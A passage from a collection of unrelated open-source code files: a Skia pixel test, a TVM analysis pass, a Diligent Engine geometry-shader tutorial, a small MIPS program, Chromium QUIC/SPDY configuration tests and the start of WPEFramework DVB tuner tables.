1, GrMipmapped::kNo, SkBackingFit::kApprox, SkBudgeted::kYes, GrProtected::kNo); temp->instantiate(context->priv().resourceProvider()); } // Create the surfaces and flush them to ensure there is no lingering pendingIO sk_sp<SkSurface> leftSurf = create_surf(context, kHalfSize, kFullSize); sk_sp<SkSurface> rightSurf = create_surf(context, kHalfSize, kFullSize); sk_sp<SkImage> leftImg = upload(std::move(leftSurf), kLeftColor); dest->getCanvas()->drawImage(std::move(leftImg), 0, 0); sk_sp<SkImage> rightImg = upload(std::move(rightSurf), kRightColor); dest->getCanvas()->drawImage(std::move(rightImg), kHalfSize, 0); SkBitmap bm; bm.allocPixels(fullII); SkAssertResult(dest->readPixels(bm, 0, 0)); bool isCorrect = true; for (int y = 0; isCorrect && y < 16; ++y) { const uint32_t* sl = bm.getAddr32(0, y); for (int x = 0; x < 16; ++x) { if (kLeftColor != sl[x]) { isCorrect = false; break; } } for (int x = kHalfSize; x < kHalfSize+16; ++x) { if (kRightColor != sl[x]) { isCorrect = false; break; } } } REPORTER_ASSERT(reporter, isCorrect); } DEF_TEST(WritePixels_InvalidRowBytes, reporter) { auto dstII = SkImageInfo::Make({10, 10}, kRGBA_8888_SkColorType, kPremul_SkAlphaType); auto surf = SkSurface::MakeRaster(dstII); for (int ct = 0; ct < kLastEnum_SkColorType + 1; ++ct) { auto colorType = static_cast<SkColorType>(ct); size_t bpp = SkColorTypeBytesPerPixel(colorType); if (bpp <= 1) { continue; } auto srcII = dstII.makeColorType(colorType); size_t badRowBytes = (surf->width() + 1)*bpp - 1; auto storage = std::make_unique<char[]>(badRowBytes*surf->height()); memset(storage.get(), 0, badRowBytes * surf->height()); // SkSurface::writePixels doesn't report bool, SkCanvas's does. REPORTER_ASSERT(reporter, !surf->getCanvas()->writePixels(srcII, storage.get(), badRowBytes, 0, 0)); } }
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ /*! * \file simple_analysis.cc * \brief Implementation of simple passes */ #include <tvm/tir/expr.h> #include <tvm/tir/stmt_functor.h> #include <tvm/tir/analysis.h> namespace tvm { namespace tir { class VarTouchVisitor : public ExprVisitor { public: explicit VarTouchVisitor( std::function<bool(const VarNode*)> var_set) : var_set_(var_set) {} void VisitExpr(const PrimExpr& e) final { if (use_var_) return; ExprVisitor::VisitExpr(e); } void VisitExpr_(const VarNode* op) final { Handle(op); } void VisitExpr_(const LoadNode* op) final { Handle(op->buffer_var.get()); ExprVisitor::VisitExpr_(op); } void Handle(const VarNode* var) { if (var_set_(var)) use_var_ = true; } bool use_var_{false}; private: std::function<bool(const VarNode*)> var_set_; }; bool ExprUseVar(const PrimExpr& e, std::function<bool(const VarNode*)> var_set) { VarTouchVisitor visitor(var_set); visitor(e); return visitor.use_var_; } } // namespace tir } // namespace tvm
/* * Copyright 2019-2020 Diligent Graphics LLC * Copyright 2015-2019 Egor Yusov * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * In no event and under no legal theory, whether in tort (including negligence), * contract, or otherwise, unless required by applicable law (such as deliberate * and grossly negligent acts) or agreed to in writing, shall any Contributor be * liable for any damages, including any direct, indirect, special, incidental, * or consequential damages of any character arising as a result of this License or * out of the use or inability to use the software (including but not limited to damages * for loss of goodwill, work stoppage, computer failure or malfunction, or any and * all other commercial damages or losses), even if such Contributor has been advised * of the possibility of such damages. */ #include "Tutorial07_GeometryShader.hpp" #include "MapHelper.hpp" #include "GraphicsUtilities.h" #include "TextureUtilities.h" #include "../../Common/src/TexturedCube.hpp" #include "imgui.h" namespace Diligent { SampleBase* CreateSample() { return new Tutorial07_GeometryShader(); } namespace { struct Constants { float4x4 WorldViewProj; float4 ViewportSize; float LineWidth; }; } // namespace void Tutorial07_GeometryShader::CreatePipelineState() { // Pipeline state object encompasses configuration of all GPU stages GraphicsPipelineStateCreateInfo PSOCreateInfo; // Pipeline state name is used by the engine to report issues. // It is always a good idea to give objects descriptive names. PSOCreateInfo.PSODesc.Name = "Cube PSO"; // This is a graphics pipeline PSOCreateInfo.PSODesc.PipelineType = PIPELINE_TYPE_GRAPHICS; // clang-format off // This tutorial will render to a single render target PSOCreateInfo.GraphicsPipeline.NumRenderTargets = 1; // Set render target format which is the format of the swap chain's color buffer PSOCreateInfo.GraphicsPipeline.RTVFormats[0] = m_pSwapChain->GetDesc().ColorBufferFormat; // Set depth buffer format which is the format of the swap chain's back buffer PSOCreateInfo.GraphicsPipeline.DSVFormat = m_pSwapChain->GetDesc().DepthBufferFormat; // Primitive topology defines what kind of primitives will be rendered by this pipeline state PSOCreateInfo.GraphicsPipeline.PrimitiveTopology = PRIMITIVE_TOPOLOGY_TRIANGLE_LIST; // Cull back faces PSOCreateInfo.GraphicsPipeline.RasterizerDesc.CullMode = CULL_MODE_BACK; // Enable depth testing PSOCreateInfo.GraphicsPipeline.DepthStencilDesc.DepthEnable = True; // clang-format on // Create dynamic uniform buffer that will store shader constants CreateUniformBuffer(m_pDevice, sizeof(Constants), "Shader constants CB", &m_ShaderConstants); ShaderCreateInfo ShaderCI; // Tell the system that the shader source code is in HLSL. // For OpenGL, the engine will convert this into GLSL under the hood. ShaderCI.SourceLanguage = SHADER_SOURCE_LANGUAGE_HLSL; // OpenGL backend requires emulated combined HLSL texture samplers (g_Texture + g_Texture_sampler combination) ShaderCI.UseCombinedTextureSamplers = true; // Create a shader source stream factory to load shaders from files. RefCntAutoPtr<IShaderSourceInputStreamFactory> pShaderSourceFactory; m_pEngineFactory->CreateDefaultShaderSourceStreamFactory(nullptr, &pShaderSourceFactory); ShaderCI.pShaderSourceStreamFactory = pShaderSourceFactory; // Create a vertex shader RefCntAutoPtr<IShader> pVS; { ShaderCI.Desc.ShaderType = SHADER_TYPE_VERTEX; ShaderCI.EntryPoint = "main"; ShaderCI.Desc.Name = "Cube VS"; ShaderCI.FilePath = "cube.vsh"; m_pDevice->CreateShader(ShaderCI, &pVS); } // Create a geometry shader RefCntAutoPtr<IShader> pGS; { ShaderCI.Desc.ShaderType = SHADER_TYPE_GEOMETRY; ShaderCI.EntryPoint = "main"; ShaderCI.Desc.Name = "Cube GS"; ShaderCI.FilePath = "cube.gsh"; m_pDevice->CreateShader(ShaderCI, &pGS); } // Create a pixel shader RefCntAutoPtr<IShader> pPS; { ShaderCI.Desc.ShaderType = SHADER_TYPE_PIXEL; ShaderCI.EntryPoint = "main"; ShaderCI.Desc.Name = "Cube PS"; ShaderCI.FilePath = "cube.psh"; m_pDevice->CreateShader(ShaderCI, &pPS); } // clang-format off // Define vertex shader input layout LayoutElement LayoutElems[] = { // Attribute 0 - vertex position LayoutElement{0, 0, 3, VT_FLOAT32, False}, // Attribute 1 - texture coordinates LayoutElement{1, 0, 2, VT_FLOAT32, False} }; // clang-format on PSOCreateInfo.pVS = pVS; PSOCreateInfo.pGS = pGS; PSOCreateInfo.pPS = pPS; PSOCreateInfo.GraphicsPipeline.InputLayout.LayoutElements = LayoutElems; PSOCreateInfo.GraphicsPipeline.InputLayout.NumElements = _countof(LayoutElems); // Define variable type that will be used by default PSOCreateInfo.PSODesc.ResourceLayout.DefaultVariableType = SHADER_RESOURCE_VARIABLE_TYPE_STATIC; // Shader variables should typically be mutable, which means they are expected // to change on a per-instance basis // clang-format off ShaderResourceVariableDesc Vars[] = { {SHADER_TYPE_PIXEL, "g_Texture", SHADER_RESOURCE_VARIABLE_TYPE_MUTABLE} }; // clang-format on PSOCreateInfo.PSODesc.ResourceLayout.Variables = Vars; PSOCreateInfo.PSODesc.ResourceLayout.NumVariables = _countof(Vars); // Define immutable sampler for g_Texture. Immutable samplers should be used whenever possible // clang-format off SamplerDesc SamLinearClampDesc { FILTER_TYPE_LINEAR, FILTER_TYPE_LINEAR, FILTER_TYPE_LINEAR, TEXTURE_ADDRESS_CLAMP, TEXTURE_ADDRESS_CLAMP, TEXTURE_ADDRESS_CLAMP }; ImmutableSamplerDesc ImtblSamplers[] = { {SHADER_TYPE_PIXEL, "g_Texture", SamLinearClampDesc} }; // clang-format on PSOCreateInfo.PSODesc.ResourceLayout.ImmutableSamplers = ImtblSamplers; PSOCreateInfo.PSODesc.ResourceLayout.NumImmutableSamplers = _countof(ImtblSamplers); m_pDevice->CreateGraphicsPipelineState(PSOCreateInfo, &m_pPSO); // clang-format off // Since we did not explcitly specify the type for 'VSConstants', 'GSConstants', // and 'PSConstants' variables, default type (SHADER_RESOURCE_VARIABLE_TYPE_STATIC) will be used. // Static variables never change and are bound directly to the pipeline state object. m_pPSO->GetStaticVariableByName(SHADER_TYPE_VERTEX, "VSConstants")->Set(m_ShaderConstants); m_pPSO->GetStaticVariableByName(SHADER_TYPE_GEOMETRY, "GSConstants")->Set(m_ShaderConstants); m_pPSO->GetStaticVariableByName(SHADER_TYPE_PIXEL, "PSConstants")->Set(m_ShaderConstants); // clang-format on // Since we are using mutable variable, we must create a shader resource binding object // http://diligentgraphics.com/2016/03/23/resource-binding-model-in-diligent-engine-2-0/ m_pPSO->CreateShaderResourceBinding(&m_SRB, true); } void Tutorial07_GeometryShader::UpdateUI() { ImGui::SetNextWindowPos(ImVec2(10, 10), ImGuiCond_FirstUseEver); if (ImGui::Begin("Settings", nullptr, ImGuiWindowFlags_AlwaysAutoResize)) { ImGui::SliderFloat("Line Width", &m_LineWidth, 1.f, 10.f); } ImGui::End(); } void Tutorial07_GeometryShader::GetEngineInitializationAttribs(RENDER_DEVICE_TYPE DeviceType, EngineCreateInfo& EngineCI, SwapChainDesc& SCDesc) { SampleBase::GetEngineInitializationAttribs(DeviceType, EngineCI, SCDesc); EngineCI.Features.GeometryShaders = DEVICE_FEATURE_STATE_ENABLED; EngineCI.Features.SeparablePrograms = DEVICE_FEATURE_STATE_ENABLED; } void Tutorial07_GeometryShader::Initialize(const SampleInitInfo& InitInfo) { SampleBase::Initialize(InitInfo); CreatePipelineState(); // Load textured cube m_CubeVertexBuffer = TexturedCube::CreateVertexBuffer(m_pDevice); m_CubeIndexBuffer = TexturedCube::CreateIndexBuffer(m_pDevice); m_TextureSRV = TexturedCube::LoadTexture(m_pDevice, "DGLogo.png")->GetDefaultView(TEXTURE_VIEW_SHADER_RESOURCE); m_SRB->GetVariableByName(SHADER_TYPE_PIXEL, "g_Texture")->Set(m_TextureSRV); } // Render a frame void Tutorial07_GeometryShader::Render() { auto* pRTV = m_pSwapChain->GetCurrentBackBufferRTV(); auto* pDSV = m_pSwapChain->GetDepthBufferDSV(); // Clear the back buffer const float ClearColor[] = {0.350f, 0.350f, 0.350f, 1.0f}; m_pImmediateContext->ClearRenderTarget(pRTV, ClearColor, RESOURCE_STATE_TRANSITION_MODE_TRANSITION); m_pImmediateContext->ClearDepthStencil(pDSV, CLEAR_DEPTH_FLAG, 1.f, 0, RESOURCE_STATE_TRANSITION_MODE_TRANSITION); { // Map the buffer and write current world-view-projection matrix MapHelper<Constants> Consts(m_pImmediateContext, m_ShaderConstants, MAP_WRITE, MAP_FLAG_DISCARD); Consts->WorldViewProj = m_WorldViewProjMatrix.Transpose(); const auto& SCDesc = m_pSwapChain->GetDesc(); Consts->ViewportSize = float4(static_cast<float>(SCDesc.Width), static_cast<float>(SCDesc.Height), 1.f / static_cast<float>(SCDesc.Width), 1.f / static_cast<float>(SCDesc.Height)); Consts->LineWidth = m_LineWidth; } // Bind vertex and index buffers Uint32 offset = 0; IBuffer* pBuffs[] = {m_CubeVertexBuffer}; m_pImmediateContext->SetVertexBuffers(0, 1, pBuffs, &offset, RESOURCE_STATE_TRANSITION_MODE_TRANSITION, SET_VERTEX_BUFFERS_FLAG_RESET); m_pImmediateContext->SetIndexBuffer(m_CubeIndexBuffer, 0, RESOURCE_STATE_TRANSITION_MODE_TRANSITION); // Set the pipeline state m_pImmediateContext->SetPipelineState(m_pPSO); // Commit shader resources. RESOURCE_STATE_TRANSITION_MODE_TRANSITION mode // makes sure that resources are transitioned to required states. m_pImmediateContext->CommitShaderResources(m_SRB, RESOURCE_STATE_TRANSITION_MODE_TRANSITION); DrawIndexedAttribs DrawAttrs; DrawAttrs.IndexType = VT_UINT32; // Index type DrawAttrs.NumIndices = 36; // Verify the state of vertex and index buffers DrawAttrs.Flags = DRAW_FLAG_VERIFY_ALL; m_pImmediateContext->DrawIndexed(DrawAttrs); } void Tutorial07_GeometryShader::Update(double CurrTime, double ElapsedTime) { SampleBase::Update(CurrTime, ElapsedTime); UpdateUI(); // Apply rotation float4x4 CubeModelTransform = float4x4::RotationY(static_cast<float>(CurrTime) * 1.0f) * float4x4::RotationX(-PI_F * 0.1f); // Camera is at (0, 0, -5) looking along the Z axis float4x4 View = float4x4::Translation(0.f, 0.0f, 5.0f); // Get pretransform matrix that rotates the scene according the surface orientation auto SrfPreTransform = GetSurfacePretransformMatrix(float3{0, 0, 1}); // Get projection matrix adjusted to the current screen orientation auto Proj = GetAdjustedProjectionMatrix(PI_F / 4.0f, 0.1f, 100.f); // Compute world-view-projection matrix m_WorldViewProjMatrix = CubeModelTransform * View * SrfPreTransform * Proj; } } // namespace Diligent
.data message1: .asciiz "This is the first message\n" message2: .asciiz "This is the second message" .text la $a0, message1 # general message to print will be loaded to $a0 la $a1, message2 # string message to print will be loaded to $a1 addi $v0, $zero, 59 # service 59 to display a string dialog box syscall
// Copyright 2014 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "base/command_line.h" #include "base/metrics/field_trial.h" #include "chrome/browser/io_thread.h" #include "components/data_reduction_proxy/core/common/data_reduction_proxy_params.h" #include "net/http/http_network_session.h" #include "net/http/http_server_properties_impl.h" #include "net/quic/quic_protocol.h" #include "testing/gmock/include/gmock/gmock.h" #include "testing/gtest/include/gtest/gtest.h" namespace test { using ::testing::ElementsAre; class BadEntropyProvider : public base::FieldTrial::EntropyProvider { public: ~BadEntropyProvider() override {} double GetEntropyForTrial(const std::string& trial_name, uint32 randomization_seed) const override { return 0.5; } }; class IOThreadPeer { public: static void ConfigureQuicGlobals( const base::CommandLine& command_line, base::StringPiece quic_trial_group, const std::map<std::string, std::string>& quic_trial_params, IOThread::Globals* globals) { IOThread::ConfigureQuicGlobals(command_line, quic_trial_group, quic_trial_params, globals); } static void InitializeNetworkSessionParamsFromGlobals( const IOThread::Globals& globals, net::HttpNetworkSession::Params* params) { IOThread::InitializeNetworkSessionParamsFromGlobals(globals, params); } static void ConfigureSpdyFromTrial(const std::string& trial_group, IOThread::Globals* globals) { IOThread::ConfigureSpdyFromTrial(trial_group, globals); } }; class IOThreadTest : public testing::Test { public: IOThreadTest() : command_line_(base::CommandLine::NO_PROGRAM) { globals_.http_server_properties.reset(new net::HttpServerPropertiesImpl()); } void ConfigureQuicGlobals() { IOThreadPeer::ConfigureQuicGlobals(command_line_, field_trial_group_, field_trial_params_, &globals_); } void InitializeNetworkSessionParams(net::HttpNetworkSession::Params* params) { IOThreadPeer::InitializeNetworkSessionParamsFromGlobals(globals_, params); } base::CommandLine command_line_; IOThread::Globals globals_; std::string field_trial_group_; std::map<std::string, std::string> field_trial_params_; }; TEST_F(IOThreadTest, InitializeNetworkSessionParamsFromGlobals) { globals_.quic_connection_options.push_back(net::kPACE); globals_.quic_connection_options.push_back(net::kTBBR); globals_.quic_connection_options.push_back(net::kTIME); net::HttpNetworkSession::Params params; InitializeNetworkSessionParams(&params); EXPECT_EQ(globals_.quic_connection_options, params.quic_connection_options); } TEST_F(IOThreadTest, SpdyFieldTrialHoldbackEnabled) { net::HttpStreamFactory::set_spdy_enabled(true); IOThreadPeer::ConfigureSpdyFromTrial("SpdyDisabled", &globals_); EXPECT_FALSE(net::HttpStreamFactory::spdy_enabled()); } TEST_F(IOThreadTest, SpdyFieldTrialHoldbackControl) { bool use_alternate_protocols = false; IOThreadPeer::ConfigureSpdyFromTrial("Control", &globals_); EXPECT_THAT(globals_.next_protos, ElementsAre(net::kProtoHTTP11, net::kProtoQUIC1SPDY3, net::kProtoSPDY31)); globals_.use_alternate_protocols.CopyToIfSet(&use_alternate_protocols); EXPECT_TRUE(use_alternate_protocols); } TEST_F(IOThreadTest, SpdyFieldTrialSpdy4Enabled) { bool use_alternate_protocols = false; IOThreadPeer::ConfigureSpdyFromTrial("Spdy4Enabled", &globals_); EXPECT_THAT(globals_.next_protos, ElementsAre(net::kProtoHTTP11, net::kProtoQUIC1SPDY3, net::kProtoSPDY31, net::kProtoSPDY4_14)); globals_.use_alternate_protocols.CopyToIfSet(&use_alternate_protocols); EXPECT_TRUE(use_alternate_protocols); } TEST_F(IOThreadTest, SpdyFieldTrialSpdy4Control) { bool use_alternate_protocols = false; IOThreadPeer::ConfigureSpdyFromTrial("Spdy4Control", &globals_); EXPECT_THAT(globals_.next_protos, ElementsAre(net::kProtoHTTP11, net::kProtoQUIC1SPDY3, net::kProtoSPDY31)); globals_.use_alternate_protocols.CopyToIfSet(&use_alternate_protocols); EXPECT_TRUE(use_alternate_protocols); } TEST_F(IOThreadTest, DisableQuicByDefault) { ConfigureQuicGlobals(); net::HttpNetworkSession::Params params; InitializeNetworkSessionParams(&params); EXPECT_FALSE(params.enable_quic); EXPECT_FALSE(params.enable_quic_for_proxies); EXPECT_FALSE(IOThread::ShouldEnableQuicForDataReductionProxy()); } TEST_F(IOThreadTest, EnableQuicFromFieldTrialGroup) { field_trial_group_ = "Enabled"; ConfigureQuicGlobals(); net::HttpNetworkSession::Params default_params; net::HttpNetworkSession::Params params; InitializeNetworkSessionParams(&params); EXPECT_TRUE(params.enable_quic); EXPECT_TRUE(params.enable_quic_for_proxies); EXPECT_EQ(1350u, params.quic_max_packet_length); EXPECT_EQ(1.0, params.alternate_protocol_probability_threshold); EXPECT_EQ(default_params.quic_supported_versions, params.quic_supported_versions); EXPECT_EQ(net::QuicTagVector(), params.quic_connection_options); EXPECT_FALSE(params.quic_always_require_handshake_confirmation); EXPECT_FALSE(params.quic_disable_connection_pooling); EXPECT_EQ(0, params.quic_load_server_info_timeout_ms); EXPECT_EQ(0.0f, params.quic_load_server_info_timeout_srtt_multiplier); EXPECT_FALSE(params.quic_enable_truncated_connection_ids); EXPECT_FALSE(params.quic_enable_connection_racing); EXPECT_FALSE(params.quic_disable_disk_cache); EXPECT_FALSE(IOThread::ShouldEnableQuicForDataReductionProxy()); } TEST_F(IOThreadTest, EnableQuicFromQuicProxyFieldTrialGroup) { base::FieldTrialList field_trial_list(new BadEntropyProvider()); base::FieldTrialList::CreateFieldTrial( data_reduction_proxy::DataReductionProxyParams::GetQuicFieldTrialName(), "Enabled"); ConfigureQuicGlobals(); net::HttpNetworkSession::Params params; InitializeNetworkSessionParams(&params); EXPECT_FALSE(params.enable_quic); EXPECT_TRUE(params.enable_quic_for_proxies); EXPECT_TRUE(IOThread::ShouldEnableQuicForDataReductionProxy()); } TEST_F(IOThreadTest, EnableQuicFromCommandLine) { command_line_.AppendSwitch("enable-quic"); ConfigureQuicGlobals(); net::HttpNetworkSession::Params params; InitializeNetworkSessionParams(&params); EXPECT_TRUE(params.enable_quic); EXPECT_TRUE(params.enable_quic_for_proxies); EXPECT_FALSE(IOThread::ShouldEnableQuicForDataReductionProxy()); } TEST_F(IOThreadTest, EnablePacingFromCommandLine) { command_line_.AppendSwitch("enable-quic"); command_line_.AppendSwitch("enable-quic-pacing"); ConfigureQuicGlobals(); net::HttpNetworkSession::Params params; InitializeNetworkSessionParams(&params); net::QuicTagVector options; options.push_back(net::kPACE); EXPECT_EQ(options, params.quic_connection_options); } TEST_F(IOThreadTest, EnablePacingFromFieldTrialParams) { field_trial_group_ = "Enabled"; field_trial_params_["enable_pacing"] = "true"; ConfigureQuicGlobals(); net::HttpNetworkSession::Params params; InitializeNetworkSessionParams(&params); net::QuicTagVector options; options.push_back(net::kPACE); EXPECT_EQ(options, params.quic_connection_options); } TEST_F(IOThreadTest, PacketLengthFromCommandLine) { command_line_.AppendSwitch("enable-quic"); command_line_.AppendSwitchASCII("quic-max-packet-length", "1450"); ConfigureQuicGlobals(); net::HttpNetworkSession::Params params; InitializeNetworkSessionParams(&params); EXPECT_EQ(1450u, params.quic_max_packet_length); } TEST_F(IOThreadTest, PacketLengthFromFieldTrialParams) { field_trial_group_ = "Enabled"; field_trial_params_["max_packet_length"] = "1450"; ConfigureQuicGlobals(); net::HttpNetworkSession::Params params; InitializeNetworkSessionParams(&params); EXPECT_EQ(1450u, params.quic_max_packet_length); } TEST_F(IOThreadTest, QuicVersionFromCommandLine) { command_line_.AppendSwitch("enable-quic"); std::string version = net::QuicVersionToString(net::QuicSupportedVersions().back()); command_line_.AppendSwitchASCII("quic-version", version); ConfigureQuicGlobals(); net::HttpNetworkSession::Params params; InitializeNetworkSessionParams(&params); net::QuicVersionVector supported_versions; supported_versions.push_back(net::QuicSupportedVersions().back()); EXPECT_EQ(supported_versions, params.quic_supported_versions); } TEST_F(IOThreadTest, QuicVersionFromFieldTrialParams) { field_trial_group_ = "Enabled"; field_trial_params_["quic_version"] = net::QuicVersionToString(net::QuicSupportedVersions().back()); ConfigureQuicGlobals(); net::HttpNetworkSession::Params params; InitializeNetworkSessionParams(&params); net::QuicVersionVector supported_versions; supported_versions.push_back(net::QuicSupportedVersions().back()); EXPECT_EQ(supported_versions, params.quic_supported_versions); } TEST_F(IOThreadTest, QuicConnectionOptionsFromCommandLine) { command_line_.AppendSwitch("enable-quic"); command_line_.AppendSwitchASCII("quic-connection-options", "PACE,TIME,TBBR,REJ"); ConfigureQuicGlobals(); net::HttpNetworkSession::Params params; InitializeNetworkSessionParams(&params); net::QuicTagVector options; options.push_back(net::kPACE); options.push_back(net::kTIME); options.push_back(net::kTBBR); options.push_back(net::kREJ); EXPECT_EQ(options, params.quic_connection_options); } TEST_F(IOThreadTest, QuicConnectionOptionsFromFieldTrialParams) { field_trial_group_ = "Enabled"; field_trial_params_["connection_options"] = "PACE,TIME,TBBR,REJ"; ConfigureQuicGlobals(); net::HttpNetworkSession::Params params; InitializeNetworkSessionParams(&params); net::QuicTagVector options; options.push_back(net::kPACE); options.push_back(net::kTIME); options.push_back(net::kTBBR); options.push_back(net::kREJ); EXPECT_EQ(options, params.quic_connection_options); } TEST_F(IOThreadTest, QuicAlwaysRequireHandshakeConfirmationFromFieldTrialParams) { field_trial_group_ = "Enabled"; field_trial_params_["always_require_handshake_confirmation"] = "true"; ConfigureQuicGlobals(); net::HttpNetworkSession::Params params; InitializeNetworkSessionParams(&params); EXPECT_TRUE(params.quic_always_require_handshake_confirmation); } TEST_F(IOThreadTest, QuicDisableConnectionPoolingFromFieldTrialParams) { field_trial_group_ = "Enabled"; field_trial_params_["disable_connection_pooling"] = "true"; ConfigureQuicGlobals(); net::HttpNetworkSession::Params params; InitializeNetworkSessionParams(&params); EXPECT_TRUE(params.quic_disable_connection_pooling); } TEST_F(IOThreadTest, QuicLoadServerInfoTimeoutFromFieldTrialParams) { field_trial_group_ = "Enabled"; field_trial_params_["load_server_info_timeout"] = "50"; ConfigureQuicGlobals(); net::HttpNetworkSession::Params params; InitializeNetworkSessionParams(&params); EXPECT_EQ(50, params.quic_load_server_info_timeout_ms); } TEST_F(IOThreadTest, QuicLoadServerInfoTimeToSmoothedRttFromFieldTrialParams) { field_trial_group_ = "Enabled"; field_trial_params_["load_server_info_time_to_srtt"] = "0.5"; ConfigureQuicGlobals(); net::HttpNetworkSession::Params params; InitializeNetworkSessionParams(&params); EXPECT_EQ(0.5f, params.quic_load_server_info_timeout_srtt_multiplier); } TEST_F(IOThreadTest, QuicEnableTruncatedConnectionIds) { field_trial_group_ = "Enabled"; field_trial_params_["enable_truncated_connection_ids"] = "true"; ConfigureQuicGlobals(); net::HttpNetworkSession::Params params; InitializeNetworkSessionParams(&params); EXPECT_TRUE(params.quic_enable_truncated_connection_ids); } TEST_F(IOThreadTest, QuicEnableConnectionRacing) { field_trial_group_ = "Enabled"; field_trial_params_["enable_connection_racing"] = "true"; ConfigureQuicGlobals(); net::HttpNetworkSession::Params params; InitializeNetworkSessionParams(&params); EXPECT_TRUE(params.quic_enable_connection_racing); } TEST_F(IOThreadTest, QuicDisableDiskCache) { field_trial_group_ = "Enabled"; field_trial_params_["disable_disk_cache"] = "true"; ConfigureQuicGlobals(); net::HttpNetworkSession::Params params; InitializeNetworkSessionParams(&params); EXPECT_TRUE(params.quic_disable_disk_cache); } TEST_F(IOThreadTest, AlternateProtocolProbabilityThresholdFromFlag) { command_line_.AppendSwitchASCII("alternate-protocol-probability-threshold", ".5"); ConfigureQuicGlobals(); net::HttpNetworkSession::Params params; InitializeNetworkSessionParams(&params); EXPECT_EQ(.5, params.alternate_protocol_probability_threshold); } TEST_F(IOThreadTest, AlternateProtocolProbabilityThresholdFromEnableQuicFlag) { command_line_.AppendSwitch("enable-quic"); ConfigureQuicGlobals(); net::HttpNetworkSession::Params params; InitializeNetworkSessionParams(&params); EXPECT_EQ(0, params.alternate_protocol_probability_threshold); } TEST_F(IOThreadTest, AlternateProtocolProbabilityThresholdFromParams) { field_trial_group_ = "Enabled"; field_trial_params_["alternate_protocol_probability_threshold"] = ".5"; ConfigureQuicGlobals(); net::HttpNetworkSession::Params params; InitializeNetworkSessionParams(&params); EXPECT_EQ(.5, params.alternate_protocol_probability_threshold); } } // namespace test
#include "Definitions.h" #include "ProgramTable.h" #include "TunerAdministrator.h" #include <linux/dvb/frontend.h> // -------------------------------------------------------------------- // SOURCE: https://linuxtv.org/downloads/v4l-dvb-apis/uapi/dvb // -------------------------------------------------------------------- namespace WPEFramework { namespace Broadcast { struct conversion_entry { int from; // WPEFramework Broadcast/ITuner value int to; // LinuxDVB API value }; static constexpr conversion_entry _tableSystemType[] = { { .from = ITuner::DVB | ITuner::Cable | ITuner::B, .to = SYS_DVBC_ANNEX_B }, { .from = ITuner::DVB | ITuner::Cable | ITuner::C, .to = SYS_DVBC_ANNEX_C }, { .from = ITuner::DVB | ITuner::Terrestrial | ITuner::NoAnnex, .to = SYS_DVBT }, { .from = ITuner::DVB | ITuner::Terrestrial | ITuner::A, .to = SYS_DVBT2 }, { .from = ITuner::DVB | ITuner::Satellite | ITuner::NoAnnex, .to = SYS_DVBS }, { .from = ITuner::DVB | ITuner::Satellite | ITuner::A, .to = SYS_DVBS2 }, { .from = ITuner::DVB | ITuner::Satellite | ITuner::A, .to = SYS_DVBS2 }, { .from = ITuner::ISDB | ITuner::Satellite | ITuner::NoAnnex, .to = SYS_ISDBS }, { .from = ITuner::ISDB | ITuner::Terrestrial | ITuner::NoAnnex, .to = SYS_ISDBT }, { .from = ITuner::ISDB | ITuner::Cable | ITuner::NoAnnex, .to = SYS_ISDBC } }; static constexpr conversion_entry _tableInversion[] = { { .from = Broadcast::Auto, .to = INVERSION_AUTO }, { .from = Broadcast::Normal, .to = INVERSION_OFF }, { .from = Broadcast::Inverted, .to = INVERSION_ON } }; static constexpr conversion_entry _tableFEC[] = { { .from = Broadcast::FEC_INNER_NONE, .to = FEC_NONE }, { .from = Broadcast::FEC_INNER_UNKNOWN, .to = FEC_AUTO }, { .from = Broadcast::FEC_1_2, .to = FEC_1_2 }, { .from = Broadcast::FEC_2_3, .to = FEC_2_3 }, { .from = Broadcast::FEC_2_5, .to = FEC_2_5 }, { .from = Broadcast::FEC_3_4, .to = FEC_3_4 }, { .from = Broadcast::FEC_3_5, .to = FEC_3_5 }, { .from = Broadcast::FEC_4_5, .to = FEC_4_5 }, { .from = Broadcast::FEC_5_6, .to = FEC_5_6 }, { .from = Broadcast::FEC_6_7, .to = FEC_6_7 }, { .from = Broadcast::FEC_7_8, .to = FEC_7_8 }, { .from = Broadcast::FEC_8_9, .to = FEC_8_9 }, { .from = Broadcast::FEC_9_10, .to = FEC_9_10 } }; static constexpr conversion_entry _tableBandwidth[] = { { .from = 0, .to = BANDWIDTH_AUTO }, { .from = 1712000, .to = BANDWIDTH_1_712_MHZ }, { .from = 5000000, .to = BANDWIDTH_5_MHZ }, { .from = 6000000, .to = BANDWIDTH_6_MHZ }, { .from = 7000000, .to = BANDWIDTH_7_MHZ }, { .from = 8000000, .to = BANDWIDTH_8_MHZ }, { .from = 10000000, .to = BANDWIDTH_10_MHZ } }; static constexpr conversion_entry _tableModulation[] = { { .from = Broadcast::HORIZONTAL_QPSK, .to = QPSK }, { .from = Broadcast::VERTICAL_QPSK, .to = QPSK }, { .from = Broadcast::LEFT_QPSK, .to = QPSK }, { .from = Broadcast::RIGHT_QPSK, .to = QPSK }, { .from = Broadcast::HORIZONTAL_8PSK, .to = PSK_8 }, { .from = Broadcast::VERTICAL_8PSK, .to = PSK_8 }, { .from = Broadcast::LEFT_8PSK, .to = PSK_8 }, { .from = Broadcast::RIGHT_8PSK, .to = PSK_8 }, { .from = Broadcast::QAM16, .to = QAM_16 }, { .from = Broadcast::QAM32, .to = QAM_32 }, { .from = Broadcast::QAM64, .to = QAM_64 }, { .from = Broadcast::QAM128, .to = QAM_128 }, { .from = Broadcast::QAM256, .to = QAM_256 }, }; static constexpr conversion_entry _tableTransmission[] = { { .from = Broadcast::TRANSMISSION_AUTO, .to = TRANSMISSION_MODE_AUTO }, { .from = 